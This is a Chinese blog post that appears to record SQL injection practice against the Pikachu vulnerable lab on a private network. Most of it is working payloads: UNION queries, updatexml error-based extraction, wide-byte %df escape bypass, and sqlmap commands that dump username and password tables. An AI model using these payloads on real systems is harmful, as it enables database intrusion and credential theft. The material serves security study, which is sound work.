sql注入-基于pikachu靶场学习之SQL注入
sql注入(pikachu靶场学习之SQL注入)
环境准备
环境:wmware,安装两台win10的虚拟机在服务器上部署服务,在客户机上进行安全测试
声明:不涉及互联网上的资源,学习都在内网完成,一切皆用于学习记录,不可用于其他用途
win10服务器:192.168.59.132
win10客户机:192.168.59.130
涉及到的软件:
Burp Suite Professional v2.0beta(自行搜索安装)
浏览器:火狐(这个不重要,随便)
服务部署用phpstudy部署pikachu漏洞平台(自行baidu查然后自己部署,有很多写得很全面的。有一个小坑,部署完,去phpstudy添加一个pikachu的数据库,然后去pikachu的配置文件找到config.inc.php这个文件,修改数据库信息)
话不多说,直入主题
1.数字型注入


设置代理后抓包:


然后点代理右边那个Repeater ,id=1 开始测试,返回正常,无报错:

修改 id=1‘ 继续发包 发现报错了:

继续修改:id=1' and '1'='1 ,依旧报错 可以猜想这是一个数字型的注入了

修改id=1 and 1=1 无报错产生,可以断定这是数字型的注入(靶场明确告诉我们这是什么类型,但事实上需要我们一步一步摸索、明确注入类型)


现在进行字段的判断:
id=1 order by 1

id=1 order by 2

id=1 order by 3 报错了,说明只有两个

id=1 union select 1,2 判断字段的回显位置

查询数据库名字,版本--和我内网服务器的数据库版本一致:



查询表名
where table_schema=database()查询限制条件:当前的pikachu数据库
information_schema.tables 所有表名
table_name 表名
group_concat()简而言之就是显示在一行(可自行baidu深入学习)
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

查询字段名
由上面查询得到的users表名去查询字段
column_name 字段名
columns 字段
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

直接查询出来数据:
上面得到username和password字段
id=1 union select username,password from users

2.字符型注入
话不多说,判断方法和上面方法一样,直接梭哈
这里要看请求体的里面的name=1 即是pikachu漏洞平台的输入框的1

name=1' 直接报错

name=1'and'1'='1

两个方法
方法一:(不用抓包了,没意义)
1.测试判断字段数
1' order by 1#
1' order by 2#
1' order by 3# 这个报错了,说明只有两个字段

2.测试回显位置
1' union select 1,2#

3.查询数据库
1' union select 1,database()#

4.查表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

5.查字段
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

6.查数据
1' union select username,password from users #

方法二:万能密码(这个没什么好说的,原理可以baidu学习一下)
1' or 1=1# 下面操作差不多

vince' order by 2#
vince' union select 1,database()#
vince' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
vince' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
vince' union select username,password from users#
3.搜索型
本质还是字符,只是闭合不一样
注:十六进制:23 就是 #
随便搜索了个dd
得到一个url:
http://192.168.59.132/pikachu-master/vul/sqli/sqli_search.php?name=dd&submit=搜索
name=dd&submit=%E6%90%9C%E7%B4%A2 由这个可以看出是由%闭合的
测试一下:?name=dd%123%23&submit=%E6%90%9C%E7%B4%A2

可以验证了上面的结论
开干
%' order by 1%
%' order by 2%
%' order by 3%
%' order by 4% 报错 说明只有3个字段

%' union select 1,2,3% 查询回显位置

查数据库:
%' union select 1,2,database()%
查表:
%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%
查字段:
%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%
查数据:
%' union select id,username,password from users%
结果:

4.xx型
本质是字符注入,稍稍比上面麻烦点
查询一下pikachu
http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu&submit=查询
无报错
再搜索pikachu'
http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu'&submit=%E6%9F%A5%E8%AF%A2
有报错了,根据报错提示信息,得知是)闭合

验证一下)闭合
http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu')%23&submit=%E6%9F%A5%E8%AF%A2

直接上才艺:
name=pikachu') order by 1%23
name=pikachu') order by 2%23
name=pikachu') order by 3%23
1和2都无报错,3报错,得知只有2个字段
http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') order by 3%23&submit=%E6%9F%A5%E8%AF%A2

查回显位置:
http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select 1,2%23&submit=%E6%9F%A5%E8%AF%A2

查数据库:
http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select 1,database()%23&submit=%E6%9F%A5%E8%AF%A2

查表:
http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23&submit=%E6%9F%A5%E8%AF%A2

查字段:
http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23&submit=%E6%9F%A5%E8%AF%A2

查数据:
http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select username,password from users%23&submit=%E6%9F%A5%E8%AF%A2

5.insert/update
5.1insert
点注册,然后用bp抓包

测试闭合:
username=666666','66')&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit
报错了
修改:username=666666','&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit
报错raw数不行
修改:username=666666','66','66','66','66','66')#&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit
注册成功,证明是'号闭合

由上可知,SQL语句错误时会报错,可以使用报错注入
用updatexml()函数来构造注入payload
username=666666' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit
or或者and都行,最后可以不用#,第一个参数的单引号闭合就ok。0x7e是~回显是-,估计是平台问题?不得而知

查用户:

查数据库版本:

路径:


嗯,两次结果拼在一起是完整的数据文件保存路径
开干:
先拆分一下payload
select group_concat(table_name) from information_schema.tables where table_schema=database()
updatexml() 函数
UPDATEXML (XML_document, XPath_string, new_value);
一:XML_document是String格式,为XML文档对象的名称
二:XPath_string (Xpath格式的字符串)
三:new_value,String格式,替换查找到的符合条件的数据
函数对XPath_string进行查询操作,如符合语法格式要求,用第三个参数替换,对于不符合语法格式要求的,报错并带出查询的结果
updatexml(1,concat(0x7e,substr(( ),1,31),0x7e),1)
substr(string, start,) 长度大于31就行
username=' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit

表:
' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '
' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1) or '
列:
' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '
' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),32,31),0x7e),1) or '
' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),63,31),0x7e),1) or '
数据:
' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1) or '
' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),32,31),0x7e),1) or '
substr的第2个参数等于前一次的第2个参数加31
5.2update
测试闭合,单个'报错 ,两个'不报错,所以是'号闭合
数据库:
sex=22222222' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #&phonenum=22222222&add=22222222&email=22222222&submit=submit

表:
sex=22222222' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) #&phonenum=22222222&add=22222222&email=22222222&submit=submit

列:
sex=22222222' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) #&phonenum=22222222&add=22222222&email=22222222&submit=submit

数据:
sex=22222222' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) #&phonenum=22222222&add=22222222&email=22222222&submit=submit

6.delete注入
bp抓包,先留言后删除
找到:http://192.168.59.132/pikachu-master/vul/sqli/sqli_del.php?id=56
开干开干
库:
or updatexml(1,concat(0x7e,(select database()),0x7e),1)

表:
or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)

列:
or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1)

数据:
or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'----',password)) from users),1,31),0x7e),1)

7.http header注入
登录(admin,123456),抓包
一般可获取头部的信息用于数据分析
通过请求头部也可以向数据库发送查询信息
构造恶意语句可以对数据库进行信息查询


Accept:属于http请求头,描述客户端希望接收的响应body 数据类型
总的来说就是希望服务器返回什么样类型的数据
Content-Type:发送端(客户端|服务器)发送的实体数据的数据类型。
Accept:1 无报错,Accept:1' 报错 可以知道存在注入的可能
这用报错回显
库:
Accept:1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

表:
Accept:' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '

列:
Accept:' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '

数据:
Accept:' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'+',password)) from users),1,31),0x7e),1) or '

8.boolian的盲注
方法一:
手工去干去猜!还是不聊了
自行baidu吧!!!!
方法二:
新工具人:sqlmap(自行去GitHub搜索安装)
用软件sqlmap爆破,艾玛,真香
python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_b.php?name=777&submit=查询" --current-db
python sqlmap.py -u "url" --current-db
获取数据库名:

获取数据表:
python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_b.php?name=777&submit=查询" -D pikachu --tables
python sqlmap.py -u "url" -D pikachu --tables

获取列:
python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_b.php?name=777&submit=查询" -D pikachu -T users --columns
python sqlmap.py -u "url" -D pikachu -T users --columns

获取数据:
python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_b.php?name=777&submit=查询" -D pikachu -T users -C username,password --dump
python sqlmap.py -u "url" -D pikachu -T users -C username,password --dump

方法三:
python的脚本,可以去baidu了解了解
(高呼!!!工具小子真香!!!!)
9.time盲注
方法一:
手工猜猜猜!!!
不說!!自行baidu
方法二:
sqlmap爆破
查数据库:
python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_t.php?name=777&submit=查询" -dbs
python sqlmap.py -u "url" -dbs

查表:
python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_t.php?name=777&submit=查询" -D pikachu --tables
python sqlmap.py -u "url" -D pikachu --tables

查列:
python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_t.php?name=777&submit=查询" -D pikachu -T users --columns
python sqlmap.py -u "url" -D pikachu -T users --columns

查数据:
python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_t.php?name=777&submit=查询" -D pikachu -T users -C id,username,password --dump
python sqlmap.py -u "url" -D pikachu -T users -C id,username,password --dump

方法三:
python脚本,自行baidu!!!
10宽字节注入
原理:
宽字节注入有addslashes,mysql_escape_string,mysql_real_escape_string等转义的函数
对输入'符号进行了转义'
pikachu靶场是addslashes()进行了转义
单引号(')
双引号(")
反斜杠(\)
NULL
在下方设置编码时设置为了gbk编码
利用反斜杠编码为%5c
用%df构成(連)字绕过对 ’符号 的转义
简而言之,就是由于编码的问题,用%df' 可以绕过对‘的转义
开干!!!
bp抓包,随便输入1,点击查看转到repeater:
查字段:
1%df' order by 2#
1%df' order by 3# 有错误产生

查位置:
1%df' union select 1,2#

查版本:
1%df' union select 1,@@version#
查数据库:
1%df' union select 1,database()#
查表:
1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

查列:
按上面的方法会被转义处理掉,报错
所以只能嵌套:
1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1))#
拆分后更好理解(*表示下一句所在位置):
1%df' union select 1,*# //第一句
(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(*) //第二句
select table_name from information_schema.tables where table_schema=(select database())limit 3,1) //第三句

查数据:
1%df' union select username,password from users#

pikachu的SQL靶场到此为止
注:未经同意请勿转载,仅作学习使用。以上有描述不正确之处,望大家能不吝指出,共同学习共同进步。谢谢
sql注入-基于pikachu靶场学习之SQL注入的更多相关文章
- 第一次靶场练习:SQL注入(1)
SQL注入1 本文章目的是对相关的黑客内容进一步了解,如有人违反相关的法律法规,本人概不负责 一.学习目的: 利用手工注入网站 利用sqlmab注入 二.附件说明 靶场网址:http://117.41 ...
- SQL学习之SQL注入总结
Sql注入定义: 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的sql命令的目的. sql注入分类: 基于联合查询 基于错误回显 基于盲注,分时间盲 ...
- SQL学习之SQL注入学习总结
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 测试数据库 我们本文就以如下数据库作为测试数据库,完成我们的注入分析 ...
- Web安全学习笔记 SQL注入上
Web安全学习笔记 SQL注入上 繁枝插云欣 --ICML8 SQL注入分类 SQL注入检测 一.注入分类 1.简介 SQL注入是一种代码注入技术用于攻击数据驱动的应用程序在应用程序中,如果没有做恰当 ...
- python之MySQL学习——防止SQL注入
python之MySQL学习——防止SQL注入 学习了:https://www.cnblogs.com/xiaomingzaixian/p/7126840.html https://www.cnblo ...
- 2017-2018-2 20179204《网络攻防实践》第十一周学习总结 SQL注入攻击与实践
第1节 研究缓冲区溢出的原理,至少针对两种数据库进行差异化研究 1.1 原理 在计算机内部,输入数据通常被存放在一个临时空间内,这个临时存放的空间就被称为缓冲区,缓冲区的长度事先已经被程序或者操作系统 ...
- DVWA学习之SQL注入
DVWA学习之SQL注入 环境工具 dvwa 1.9 phpstudy firefox burpsuite 实验步骤 一.设置安全级别为LOW 1. 登录DVWA,并将安全级别设置为LOW 2. 进入 ...
- SQL 注入漏洞浅研究学习
SQL注入漏洞:Web安全方面最高危的漏洞,SQL漏洞威胁着网站后台数据的安全问题. 网上常说“万能密码”,这个万能密码则就是利用了SQL注入漏洞: ' or 1=1 -- 上述的万能密码输入在用户登 ...
- 2020/1/27代码审计学习之SQL注入漏洞
PHP代码审计SQL注入漏洞 0x00 首先明确什么是SQL注入,SQL语句必须掌握. 常见的注入总的来说可以分为两大类:数字型和字符型. 这两类中包含了诸如报错注入,宽字节注入,盲注,二次注入,co ...
- Web安全学习笔记 SQL注入下
Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ...
随机推荐
- AspNetCore 成长杂记(一):JWT授权鉴权之生成JWT(其二)
引子 前面说了用第三方类库生成JWT的故事,给我带来了很大的方便,并且我也承诺要写一篇用常规方法生成JWT的文章(一般都是用微软官方的类库),因此才有了这篇文章. 另外,在前面的文章中,我要纠正一下一 ...
- [C++提高编程] 3.7 list容器
文章目录 3.7 list容器 3.7.1 list基本概念 3.7.2 list构造函数 3.7.3 list 赋值和交换 3.7.4 list 大小操作 3.7.5 list 插入和删除 3.7. ...
- 数据库定时备份winserver2012篇
目录 1 序言 2 任务计划相关知识点介绍 2.1 任务计划 是什么? 2.2 批处理文件 2.2.1 批处理文件简介 2.2.2 批处理常用命令介绍 3 各个数据库备份脚本 3.1 Oracle数据 ...
- 2022-07-08:以下go语言代码输出什么?A:3;B:+Inf;C:true;D:编译错误。 package main import “fmt“ func main() { var
2022-07-08:以下go语言代码输出什么?A:3:B:+Inf:C:true:D:编译错误. package main import "fmt" func main() { ...
- 2021-02-21:手写代码:高性能路由,也就是一个字符串和多个匹配串进行模糊匹配。一个数组arr里是["*a*","moonfdd"],字符串"moonfdd"能匹配到,理由是arr里有。字符串"xayy"也能匹配到,理由是arr里的"*a*",第1个星对应"x",第2个星对应"yy"。
2021-02-21:手写代码:高性能路由,也就是一个字符串和多个匹配串进行模糊匹配.一个数组arr里是["a","moonfdd"],字符串"moo ...
- 【GiraKoo】CMake提示could not find any instance of Visual Studio
CMake提示could not find any instance of Visual Studio. 原因 此种情况是由于默认的CMake工具不是Visual Studio提供的版本导致的. 解决 ...
- ACM,我“退役”了
ACM,我"退役"了 凡是过往 皆为序章. 就在昨天,我把我所有的装备都拿回了宿舍,实验室中我的工位变得干干净净.走出实验室时,我和老唐都有些难受,毕竟,我们这样就"退役 ...
- Redis - 二进制位数组
简介 Redis 使用字符串对象来表示位数组,因为字符串对象使用的 SDS 数据结构是二进制安全的,所以程序可以直接使用 SDS 结构来保存位数组,并使用 SDS 结构的操作函数来处理位数组. 在 S ...
- 微信小程序setData()异常
近来开发一个小程序的项目,遇到使用setData()始终报错的情况,其问题奇特难解- 一.操作错误截图 如上图,只要将setData放置在回调函数中就会出现异常,如果不放在回调中就正常: 好郁闷,wh ...
- .NET周报 【5月第3期 2023-05-21】
国内文章 C# 实现 Linux 视频会议(源码,支持信创环境,银河麒麟,统信UOS) https://www.cnblogs.com/shawshank/p/17390248.html 信创是现阶段 ...